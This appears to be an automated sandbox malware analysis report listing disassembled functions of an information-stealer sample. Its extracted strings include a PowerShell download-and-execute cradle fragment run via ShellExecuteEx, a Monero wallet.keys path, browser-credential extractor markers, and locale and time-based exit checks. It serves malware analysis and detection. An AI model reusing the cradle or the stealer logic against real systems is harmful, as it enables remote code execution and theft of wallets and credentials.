Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: b7901a603a5a85fba54b759f9395902e42053513d53733130f531ac8888d2a89
Instruction ID: c33b487f304fcc65f8f9449f132ed894f124a2d16ac63de3762d4a00d8c929a7
Opcode Fuzzy Hash: b7901a603a5a85fba54b759f9395902e42053513d53733130f531ac8888d2a89
Instruction Fuzzy Hash: 7E7141B6900218ABCB54EBE4DC89FEE7379FB58300F008598F64597181EA75DB49CF92

Function 00806770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00806774
ExitProcess.KERNEL32 ref: 008067A5
ExitProcess.KERNEL32 ref: 008067AF
ExitProcess.KERNEL32 ref: 008067B9
ExitProcess.KERNEL32 ref: 008067C3
ExitProcess.KERNEL32 ref: 008067CD

Strings

*, xrefs: 0080678C

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 5973758165951910aa892eb8e5228c13b78e1735d82a7d6b0992400d56c07f03
Instruction ID: 54ede2950a2e2780da3c007a675f99decff792141b17b53445706f9e4e3d4128
Opcode Fuzzy Hash: 5973758165951910aa892eb8e5228c13b78e1735d82a7d6b0992400d56c07f03
Instruction Fuzzy Hash: 06F05E31904229EFD384DFE0ED4972C7B70FB14703F04029AF649C6290EA704B629B96

Function 00802C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

ShellExecuteEx.SHELL32(0000003C), ref: 00802D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00802CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00802D04
')", xrefs: 00802CB3
<, xrefs: 00802D39

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: ff28e360d877d9ba561b7e9634dd3c893390c5b81c5313139550a2544a74883a
Instruction ID: b140a173d6c1e20c8cbf1a42fc2e36b23b698f0035a221e3299b4a2766ee5fed
Opcode Fuzzy Hash: ff28e360d877d9ba561b7e9634dd3c893390c5b81c5313139550a2544a74883a
Instruction Fuzzy Hash: 0F41CD719102089ADB98EBA4CC95FDDBB78FF10700F408129F156E61D1DF746A8ACF92

Function 007F9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 007F9F41

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 007F9E67
v10, xrefs: 007F9EA3
v20, xrefs: 007F9E21
@, xrefs: 007F9EF1

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: faa2a3b2a40762aa51eaa594bdf0c620a06c17d82b5718679a1b6fd06c979b39
Instruction ID: 7094f9d59f1472d3127cdc0764c524cdae435bae29341d694e3986ab5ee45422
Opcode Fuzzy Hash: faa2a3b2a40762aa51eaa594bdf0c620a06c17d82b5718679a1b6fd06c979b39
Instruction Fuzzy Hash: C661E971A1024CEBDB58EFA8DC95FED7775FF44304F408018EA099B291EB746A45CB52

Function 00806920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0080696C
sscanf.NTDLL ref: 00806999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 008069B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 008069C0
ExitProcess.KERNEL32 ref: 008069DA

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: d6063ecba49292f364c47d7910f2d5c376662769dc04399dda0a037417b9d1c6
Instruction ID: e31895258d2290423da27a78a3e769100180ce7e676eea7d1ef960aed1677c72
Opcode Fuzzy Hash: d6063ecba49292f364c47d7910f2d5c376662769dc04399dda0a037417b9d1c6
Instruction Fuzzy Hash: 4E21D875D00218ABCB48EFE8ED45AEEB7B5FF58300F04852AE406E3250EB345615CBA5

Function 00809260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0135E320,?,?,?,0080140C,?,0135E320,00000000), ref: 0080926C
lstrcpyn.KERNEL32(00A3AB88,0135E320,0135E320,?,0080140C,?,0135E320), ref: 00809290
lstrlen.KERNEL32(?,?,0080140C,?,0135E320), ref: 008092A7
wsprintfA.USER32 ref: 008092C7

Strings

%s%s, xrefs: 008092B5

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 2dc4036bdb52c57422cd0c8278a05cd1e84711bf43cc613df535741a279ac92e
Instruction ID: 2e3b98d2f7b43920025c7118a5554a4abb8245d2835da236b1687ba1fd60e692
Opcode Fuzzy Hash: 2dc4036bdb52c57422cd0c8278a05cd1e84711bf43cc613df535741a279ac92e
Instruction Fuzzy Hash: 6E01E575500118FFCB04DFE8CD88EAE7BB9FB58354F108548F9498B245C671AE41DB91

Function 0080C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0080C8EC
___crtLCMapStringA.LIBCMT ref: 0080C90C
___crtLCMapStringA.LIBCMT ref: 0080C931

Strings

, xrefs: 0080C896

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: c7690a9de71dd1c25f1dc1c57bf31eac7548fbc158e0b68ca29dca302c8d6118
Instruction ID: 8e0226fdd8eee8c886440b1974258fd919036b4311b88d1ca0975a66b804ea82
Opcode Fuzzy Hash: c7690a9de71dd1c25f1dc1c57bf31eac7548fbc158e0b68ca29dca302c8d6118
Instruction Fuzzy Hash: 8141E2B110079C5EDB618F688C85BFBBBE8FF45708F1445E8E98AC61C2E2719A458F64

Function 00806630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00806663

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

ShellExecuteEx.SHELL32(0000003C), ref: 00806726
ExitProcess.KERNEL32 ref: 00806755

Strings

<, xrefs: 008066D9

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
